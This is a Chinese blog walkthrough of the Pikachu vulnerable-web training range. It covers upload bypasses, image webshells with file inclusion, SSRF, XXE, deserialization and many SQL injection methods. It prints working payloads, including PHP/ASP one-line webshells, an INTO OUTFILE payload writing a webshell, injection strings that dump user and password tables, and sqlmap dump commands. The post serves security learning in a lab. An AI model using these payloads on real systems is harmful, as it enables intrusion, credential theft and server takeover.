继续上传php文件点击提交结果还是提示文件类型不符合要求,在网上查找发现可以通过禁用网站的javascript来绕过
设置
选择脚本文件并上传
上传脚本
成功并且提示出上传路径,php文件一句话木马成功上传。之后就可以给特定值传命令,执行操作。

文件上传漏洞之MINE type验证原理

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。常见的MIME类型,比如:
超文本标记语言文本.html.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF图形.gif image/gif
JPEG图形.ipeg.jpg image/jpeg

通过使用PHP的全局数组$_ FILES ,你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的input name,第二个下标可以是”name”, “type”, “size”, “tmp_ name” 或”error”

同样先测试功能,上传图片没有问题,点击上传php文件提示出错
上传
我们上传一个正常图片,然后在上传一个php文件,并且用burp抓包
上传的数据包
上传图片显示上传成功,上传php文件失败,content-type显示的值不同我们将上传php文件的数据包发送到repeater中并将content-type的值改成图片的点击go
修改数据包
文件上传成功
成功绕过
通过http头的修改绕过了MINE type验证成功乱搞。之后就是访问传参,通过一句话木马控制服务器。

文件上传之getimagesize绕过和防范

Getimagesize()返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片会存在问题
是否可以绕过?可以,图片头可以被伪造(图片马)
图片马的制作:

  • 直接伪造头部gif89A
  • cmd:copy /b test.jpg + muma.php ccc.phg
  • 使用010edit神器或开源修图工具十六进制写入图片头,通过增加备注,写入执行命令

制作图片马这里采用最简单的第二种方法:
cmd进入桌面,输入命令dir保证可以找到相关文件:
制作图片马
图片马
打开展示无问题,但在图片16进制中添加了一句话木马,上传到靶场
上传
可以看到上传成功,但我们访问并没有执行一句话,这时候就要结合本地文件包含漏洞来使用,打开文件包含漏洞file include,上传图片,修改路径,就可以执行phpinfo命令了
打开本地文件包含构造链接http://192.168.23.128/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/03/12/660584640dbf7f8f024953420498.jpg&submit=%E6%8F%90%E4%BA%A4访问会在当前目录生成shell.php然后访问执行代码,或者直接菜刀访问。
成功利用
命令成功执行

防范措施

不要在前端使用JS实施上传限制策略,通过服务端对上传文件进行限制:

  • 进行多条件组合检查:比如文件的大小,路径,扩展名,文件类型,文件完整性
  • 对上传的文件在服务器上存储时进行重命名(制定合理的命名规则)
  • 对服务器端上传文件的目录进行权限控制(比如只读), 限制执行权限带来的危害

Over Permisson(越权漏洞)

越权漏洞原理

越权漏洞概述
由于没有用户权限的严格判断,导致低权限账号(普通用户)可以去完成高权限账号(如后台管理员)范围内的操作
平行越权:A用户和B用户同一级别用户,但各自不能操作对方的个人信息,A越权操做B的信息的情况成为平行越权
垂直越权:A用户权限高于B用户,B用户越权操作A的权限成为垂直越权
越权漏洞属于逻辑漏洞,是由于权限检验的逻辑不够严谨导致
越权漏洞很难通过工具扫描出来只能进行手工测试

水平越权

先登录,提示里查看账号密码,有一个查看个人信息的按钮
登录水平越权
再点击按钮时,向后台提供了一个get请求。提供了当前用户的用户名,然后后台将其信息返回到前台。我们在url中把Lucy改成其他人看看能不能查到信息。
水平越权

垂直越权

先登录超级管理员,去执行只有超级管理员才可以操作的新增账号的功能,用burp抓包。退出登录,登录普通用户,执行新增账号操作如果成功则存在垂直越权漏洞。
垂直越权演示流程:
垂直越权流程

…/…/…/(目录遍历)

目录遍历漏洞在web功能设计中很多时候我们会将要访问的文件定义成变量让前端的功能更灵活,当用户发起一个前端请求,便会将这个文件的值(如文件名)传递到后端,后端在执行对应的文件。在这个过程中如果没有对前端传来的值进行严格的安全考虑则攻击者可能会通过”../“这种方式让后台打开或者执行一些其他的文件,从而导致后端服务器上的其他目录文件结果被遍历出,形成目录遍历。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在”i can see you ABC”中了解更多)
目录遍历漏洞演示:
目录遍历

敏感信息泄露(can see your ABC)

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
---通过访问url下的目录,可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

在敏感信息泄露的靶场中我们查看源码可以看到
信息泄露
登录后可产看页面信息,退出后直接访问登录后的页面也能成功访问
登录后的信息

php反序列化漏洞

在理解之前首先需要明白php中的serialize()&unserialize()函数
**序列化serialize()**序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

**反序列化unserialize()**就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见的几个魔法函数:
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

漏洞举例:

class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);

payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

打开靶场进行试验:
演示
在将序列化后的类执行时,可能会调用相应的构造方法,通过这些构造方法,就会对反序列化的代码执行,造成一些不可预计的后果。但是在实际情况中,我们往往需要构造多种payload,来测试出后台往往是使用哪种构造方法,并使用。(序列化漏洞一般在白盒测试中发现需要知道源代码)

xxe(xml外部实体攻击)

XXE -“xml external entity injection”既”xml外部实体注入漏洞”。
概括一下就是”攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题”也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
xml:

<!--第一部分: XML声明-- >
<?xml version="1.0"?>
<!--第二部分:文档类型定义DTID- >
<!DOCTYPE note[ <!--定义此文档是 note类型的文档-->
<!ENTITY entity - name SYSTEM "URL/URL"> <!- 外部实体声 明-->
]]>
<1--第三部分:文档元>
<note>
<to>Dave</to>
<from> Tom</from>
<head> Reminder </head>
<body>You are a good man</body>
</note>

DTD:Document Type Definition即文档类型定义,用来为XML文档定义语义约束。

1.DTD内部声明
<!DOCTYPE 根元素[元素声明]>
2. DTD外部引用
<!DOCTYPE根元素名称SYSTEM “"外部DTD的URI" >
3.引用公共DTD
<!DOCTYPE根元素名称PUBLIC "DTD标识名” “公用DTD的URI” >

如果一个接口支持接收xml数据,且没有对xml数据做任何安全上的措施,就可能导致XXE漏洞。simplexml load string()函数转换形式良好的XML字符串为SimpleXMLElement对象XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的XML。

打开靶场我们输入

<?xml version = "1.0"?> 
<!DOCTYPE note [ <!ENTITY hacker "xxe"> ]>
<name>&hacker;</name>

结果:结果

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。需要对xml进行学习

不安全的url重定向

不安全的url跳转问题可能发生在一切可以执行url地址跳转的地方,如果后端采用了前端传来的(用户的参数,之前预埋在前端页面的url地址)参数作为跳转的目的地,又没有做判断的话就可能发生跳错对象的问题。
url跳转最直接的危害是:

  • 钓鱼:攻击者使用漏洞方的域名(如一个出名公司的域名往往会让用户放心的点击)做掩盖,而最终跳转到钓鱼网站

这个漏洞比较简单,我们来学习一下:打开靶场
靶场
看到有几个链接我们点击看看发现第三个跳转到了不安全的url概述第四个的url有参数,查看源码可看到地址我们添加一条点击发现可以成功跳转到我们指定的网站
源码
网站跳转
熟练后可以的定向转到提前搭建好的恶意站点。在这里我们的应用主要是发现不做后端检测跳转的网站利用它去做钓鱼。

SSRF(服务器端请求伪造)

SSRF(Server-Side Request Forgery:服务器端请求伪造)其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者->服务器->目标地址
根据后台使用的函数不同,对应的影响和利用方式也不同

//PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
演示:打开靶场ssrf(curl)点击a标签显示了一首诗和一个1
点击尝试
同样可以改成百度的网址访问百度
访问百度

打开ssrf(file_get_content),点击链接,看链接地址
又跳转
同样修改百度的地址
成功跳转
尝试读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
读取成功显示到了页面
将信息编码形式转换即可看到文件内容。
成功获取到信息
内网请求:http://x.x.x.x/xx.index
内网请求
测试本地端口是否开放:http://192.168.23.128:22 (探测这台主机内网的这台主句的22端口是否开启)
ssrf要根据后端使用的函数不同利用的方法不同

sql inject(SQL注入)

sql inject漏洞原理概述

在owasp发布的top10漏洞中,注入漏洞一直是危害且排名第一,其中主要指的是SQL Inject漏洞,数据库注入漏洞主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者通过合法输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库泄露的一种漏洞。
注入
正常输入:1 select email from users where id = 1
非法输入:1 or 1=1 select email from users where id = 1

SQL Inject攻击流程

  1. 注入点探测:
    自动方式:使用web漏洞扫描工具,自动进行注入点发现
    手动方式:手工构造sql inject测试语句进行注入点检测发现
  2. 信息获取:
    通过注入点获取期望获得的数据:
    • 环境信息:数库类型、版本,操作系统类型版本、用户信息
    • 数据库信息:数据库名、表、字段、字段内容
  3. 获取权限
    获取操作系统权限:通过数据库执行shell、上传木马

常见注入点的类型

数字型:user_id = $id
字符型:user_id = '$id'
搜索型:text LIKE '%{$_get['search']}'

注入方式

pikachu-SQL-Inject-数字型

post型注入演示 我们打开靶场,下拉框随意点击一个数字查看url
打开靶场
发现url中无参数提交方式是post方式。
首先测试这个输入点是否存在漏洞,正常逻辑我们输入一个id,之后返回数据,因该是后台在数据库进行查询,返回了id相对应的姓名和邮箱可以认为语句为:

select 字段1,字段2 from 表明 where id = 值;

后端接收到的应是$id=$post['id']之后把接受道德参数传进去
我们点击数字2,进行查询,之后打开burp查看抓包
抓取数据包
由于是post型注入我们只能将注入语句加入数据包发送给后端,将抓到的数据包发送到repeater中,我们在输入点输入一段payload:2 or 1=1,点击提交
重放
可以看到返回了所有用户和邮箱信息

pikachu-SQL-Inject-字符型注入

get型注入我们打开靶场,随意输入一段字符,点击提交,提示用户名不存在。发现请求在url中
靶场
正常返回是两个字段,用户名和邮箱。我们可以对后台运行做出猜想

select 字段1,字段2 from 表名 where username="值";

后台接受$uname=$_GET['username']
与xss类似我们要构成一个合法的闭合。字符串需要加单引号才合法。我们需要把前后两个单引号注释掉。输入kb ' or 1=1 #第一个单引号会将前面的单引号闭合,后面的#号会注释掉后面的单引号。我们尝试提交.
测试
可以看到注入成功所有的信息都展示出来了

搜索型注入

我们打开搜索型注入靶场,尝试输入字符c,点击提交查看结果
结果
返回了所有含c的用户名和uid,我们猜测后台运行:

select * from 表名 where username like '%c%';

这种查询比get多了%号,我们要想办法构造一个合法的闭合。

select * from 表名 where username like '%c%' or 1=1 #%';

我们输入构造的字符串c%' or 1=1 #查看结果
结果
只要理解、猜测后台如何拼接,设置合法的语句构造闭合就能成功注入

XX型注入

尝试盲闭合无果后,查看端代码,要闭合)
代码
我们尝试构造闭合c') or 1=1 #输入查看结果
结果
成功闭合获取到了数据,所以提示管tmd什么型构造出闭合就是牛

SQL Inject漏洞手工测试:基于union联合查询的信息获取(select)

union联合查询 可以通过联合查询来查询指定的数据
用法举例:

select username,password from user where id=1 union select 字段1,字段2 from 表名 

联合查询的字段数量要和主查询一致!!!
打开字符型注入,首先用order by猜测有几个字段,我们输入a' order by 5 #
猜字段
正常报错说明主查寻中有两个字段,确认字段后构建union联合查询
a' union select database(),user()#
union查询
这时就会将数据库名称,当前用户权限显示出来
我们还可以查询版本a' union select version(),4#
数据库版本
这里的4直接打印出来了,还可以查询其他东西,一下数据库的相关知识仅供参考

Select version(); //取的数据库版本
Select database(); //取得当前的数据库
Select user(); //取得当前登录的用户
order by X //对查询的结果进行排序,按照第X列进行排序,默认数字0-9 ,字母a-z
思路:对查询的结果使用order by按照指定的列进行排序,如果指定的列不存在,数据库会报错。通过报错判断查询结果的列数,从而确定主查询的字段数。
通过information_schema拿下数据库手工测试完整案例

mysql小知识:

在mysq|中,自带的information_schema这个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:
SCHEMATA表:提供了当前mysq|实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

以字符型为例,我们站在测试者的角度判断是否存在sql注入,以及如何获取数据。
我们首先打开靶场的字符型,我们先输入个单引号,提交发现报错
出错
在单引号处出现了语法错误,那么我们的单引号已经被拼接到sql中执行了,这就说明这里是sql注入点,他会把当前的输入当作数据库查询语句的一部分逻辑去处理。
我们猜测的是字符型的,去做一个小测试,输入a' or 1=1#点击提交
数据
结果发现可以遍历数据,但是现在的结果并不能满足我,我要获取他的基本信息,我们要使用union联合查询获取信息,首先我们需要使用order by来猜测字段数,输入a' order by 3#出现报错,在输入a' order by 2#
猜字段
成功猜出主查询中有两个字段,确定字段数量后我要用联合查询来获取information_schema中的数据,至少要知道数据库名称,构造联合查询的语句a' union select database(),user()#
成功获取
成功获取到数据库的名称为pikachu。拿到名称后我们就可以通过information_schema去获取数据。通过union联合查询,然后通过information_schema去获取pikachu一共有多少个表,表的名称是什么
构造联合查询语句如下

a' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #

查表名
pikachu数据库所有表的名称被我们爆出来了,我们进一步分析,我们发现有一个叫做users的表,我们可以猜测这是存放用户名和密码的表,构造联合查询通过information_schema表查询出users表的字段名

a' union select table_name,column_name from information_schema.columns where table_name='users'#

表的字段名
我们发现有账号和密码,现在来获取账号和密码,union联合查询的语句为:

a' union select username,password from users#

账号密码

账号密码到手,但发现密码是经过加密处理的,通过长度判断应该是md5加密,通过网上碰撞解出密文。
解密密码
这时我们的目的已经达成获取到了管理员的账号和密码。

SQL Inject漏洞手工测试基于报错信息获取(select/delete/update/insert)

技巧思路:在mysql中使用一些指定的函数来制造报错,从而报错信息中获取设定的信息。
select/insert/update/delete都可以用来报错获取信息
背景条件:后台没有屏蔽数据库报错信息,在语法发生错误时会在前端输出。

基于报错的信息获取——三个常用的用来报错的函数
updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(): MYSQL中用来取整的函数。

**updatexml():**作用:改变(查找并替换)xml文档中符合条件的节点的值
语法:

UPDATEXML(xml document,XPathstring,new_value)
第一个参数:fiedname是string格式,为表中的字段名
第二个参数:XPathstring(Xath格式的字符串)
第三个参数:new.balue,String格式,替换查找到的符合条件的

Xpath定位必须是有效的,否则会发生错误。

Select下报错的利用:
我们还是打开字符型注入,首先判断有没有报错,会不会在前端显示,我们输入单引号发现有注入报错。
单引号出错
现在构造一个报错:a' and updatexml(1,version(),0)#
构造语句测试
出现.26,并没有把对应的版本号爆出来,现在对语句修改:
a' and updatexml(1,concat(0x7e,version()),0)#
成功获取到版本
成功获取到版本号,我们可以把version替换成任意我们想要获得的东西
a' and updatexml(1,concat(0x7e,database()),0)#
获取数据库名
获取到数据库名,进行进一步查询
a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
尝试查表名
报错返回数据多余一行,说明报错有多行。可以使用limityici一次获取表名信息
a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
获取表名
我们可以得到第一个表名。想要得到第二个表名只要把limit后边的第一个0改成1即可。依此类推,可以得到所有表名。到第三个的时候获取到user表名
a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 3,1)),0)#
user表名获取
在获取表名之后,思路一样,获取列名
a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
获取列名
同样的依此类推得到所有列名后再来获取数据
a' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
数据
获取了第一个用户名,再根据用户名查询密码
a' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
密码
获取到md5加密的密文,在网站中撞库解密密文获取明文密码。

insert/update注入利用
我们打开靶场点击注册
注册
一样的方法判断是否有注入漏洞加个单引号看是否报错
判断注入点
经判断存在sql注入漏洞,重点是如何利用,如何构造闭合

用户名输入: a' or updatexml(1,concat(0x7e,database()),0) or '

密码随便输,点击提交
注入成功
成功得到数据库名。思路一样将database做替换,得到想要的信息
update与insert是一模一样的,我们先登录用户。
在这里可能会有人显示不出来信息,可以参考解决方案。
在使用pikachu的时候发现一点问题,好像是由php版本较高导致的不兼容,如图:
报错
在这里我们打开这个路径,找到第70行,把MYSQL_ASSOC改成MYSQLI_ASSOC,保存文件,刷新网页。就可以啦。
原因:在php7中,MYSQL_ASSOC不再是一个常量,将 MYSQL_ASSOC改为MYSQLI_ASSOC,意思是mysqli的方式提取数组,而不再是mysql 。(原因:mysql_fetch_arrayhan函数转为mysqli_fetch_array,参数没有修改)
修改后恢复正常
问题解决
尝试注入的流程
更新注入流程
爆出数据库名称,之后逻辑就一样了。

delete注入利用
打开delete注入靶场,添加几条评论
打开靶场
点击删除留言,留言被删除,我们打开burp查看抓到的数据包
数据包
将数据包发送到repeater模块中,get后边的id可以注入,构成闭合

1 or updatexml(1,concat(0x7e,database()),0)

数据包修改操作
改包
点击go执行
执行
出现数据库名,剩下的操作就是更换database获取信息

extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xml _document, xpath. string)

  • 第一个参数:xml _document是string格式,为xml文档对象的名称,文中为Doc
  • 第二个参数:xpath. string(xpath格式的字符串)

Xpath定位必须是有效的,否则会发生错误。
打开字符型注入,输入payload:kobe' and extractvalue(0,concat(0x7e,version()))#
执行
效果差不多

floor()
字符型中输入payload:kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
效果
原理都差不多都是报错显示信息,区别是使用的函数也不一样,构造的语句也不同

SQL注入漏洞-基于http header的注入

什么是http header注入:后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞。
漏洞演示:
打开靶场点击提示获得账号密码登录
登录
登录后页面
可以看到http头信息展示到了前端页面,说明后台对http头数据进行了获取,进行了数据库操作,打开burp的数据包发送到repeater中进行测试
寻找注入
找到注入我们输入payload:firefox' or updatexml(1,concat(0x7e,database()),0) or '
利用成功
返回了数据库名称

SQL注入漏洞-盲注

什么是盲注?
在有些情况下,后台使用了错误消息屏蔽方法(比如@ )屏蔽了报错
此时无法在根据报错信息来进行注入的判断。这种情况下的注入,称为“盲注”根据表现形式的不同,盲注又分为based boolean和based time两种类型

基于boolean的盲注
表现症状:

  1. 没有报错信息
  2. 不管正确输入还是错误输入都只显示0或1
  3. 在正确的输入下,输入 and 1=1 或者 and 1=2 发现可以判断

测试演示:
打开boolean盲注,输入kobe' and 1=1#
流程
对比说明存在sql注入漏洞,我们尝试之前的方法发现都行不通
只能重新构造语句kobe' and ascii(substr(database(),1,1))>113#
查询显示不存在
查询
修改大于号后边的值
修改
一次修改猜第二个字符的语句为kobe' and ascii(substr(database(),2,1))>105#
第二个字符
只能一个一个试出来,这样思路就有了。

基于timebase的盲注
如果说基于boolean的窗注在页面上还可以看到0 or 1的回显的话那么基于time的盲注完全就啥都看不到了!但还有一个条件,就是“时间”, 通过特定的输入,判断后台执行的时间,从而确认注入!
常用的teat payload:kobe’ and sleep(5)#
打开基于时间的盲注靶场输入kobe和payload查看区别,从而判断这里存在basedtime sql inject
输入单引号查看时无反应,进行其他尝试也是无反应,然后输入时间盲注的payload查看结果
验证时间盲注
数据包分析
可以看到有一个请求有5毫秒多的延时说明我们的payload中的延时函数成功执行。
我们构造一个payload来猜解出数据库构造语句kobe' and if((substr(database(),1,1))='p',sleep(5),null)#意思是如果数库名的第一个字符等于p时延时5秒否则不延时,网页返回时间有延时说明第一个字符是p,不延时则不是p,然后思路就和布尔盲注的思路一样猜解、替换database

远程控制

一句话木马:是一种短小而精悍的木马客户端,隐蔽性好,功能强大
php的一句话:< ?php @eval($_ POST'chopper']);?>
asp的一句话:< %eval request("chopper")%>
asp.net的一句话:<%@ Page Language= Jscript” %> <%eval(Request.Item["chopper"]), “unsafe );%>

select 1,2 into outfile “/var/www/html/1.txt”
into outfile 将select的结果写入到指定的目录的1.txt

在没有回显的注入中可以使用into outfile将一句话写入到文件然后获取权限,前提:

  1. 需要知道远程目录
  2. 需要远程目录有写入权限
  3. 需要数据库开启secure_file_priv

字符型注入写入一句话木马获取权限:
payload:kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "C:/phpstudy_pro/WWW/pikachu/3.php"#
流程
将一句话写入到目录下的3.php,用工具链接即可获取权限。

SQL Inject漏洞之表(列)名的暴力破解

打开字符型注,payload:

kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#

判断是否存在aa表,判断是否存在id在users表中
测试语句
测试语句
可以看到第一个没有表,第二个成功返回页面信息,我们抓包,进行暴破表名:
暴破注入
同样的我们也可以用第二个payload暴破猜出列名。

自动化注入攻击(SQL-MAP进行sql inject攻击)

可以直接在官网下载压缩包:
sqlmap的经典用法:

1. python sqlmap.py -u "url" --cookie="yy" #带上cookie对url进行注入探测
2. python sqlmap.py -u "url" --current-db #获取当前数据库名称
3. python sqlmap.py -u "url" --tables -D "数据库名" #列表名
4. python sqlmap.py -u "url" --columns -T "表名" -D "数据库名" -v 0 #列字段
5. python sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "数据库" -v 0 #获取字段内容
-r 文件名 #这种可以指定文件,用法用burp抓个包将数据包存为文件并在注入点出加一个*做标记

-v x 参数介绍
参数介绍

SQL注入漏洞的常见防护措施

代码层面的防护:

  1. 对输入进行严格的转义和过滤
  2. 使用预处理和参数化(Parameterized)

网络层面:

  1. 通过waf设备启用防SQL注入策略或类似防护系统
  2. 云端防护(360网站卫士或阿里云盾)

加waf
加云端防护

参考资料

视频学习教程:https://www.bilibili.com/video/BV1KY4y1u7nk?p=2
pikachu场资源:https://github.com/zhuifengshaonianhanlu/pikachu
参考学习:https://www.fkqq.fun/2022/07/11/pikachu/

本文作者:Jay jay
本文链接:https://yyj-xx.github.io/2023/03/06/pikachu%E9%9D%B6%E5%9C%BA%E7%9A%84%E5%AD%A6%E4%B9%A0/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可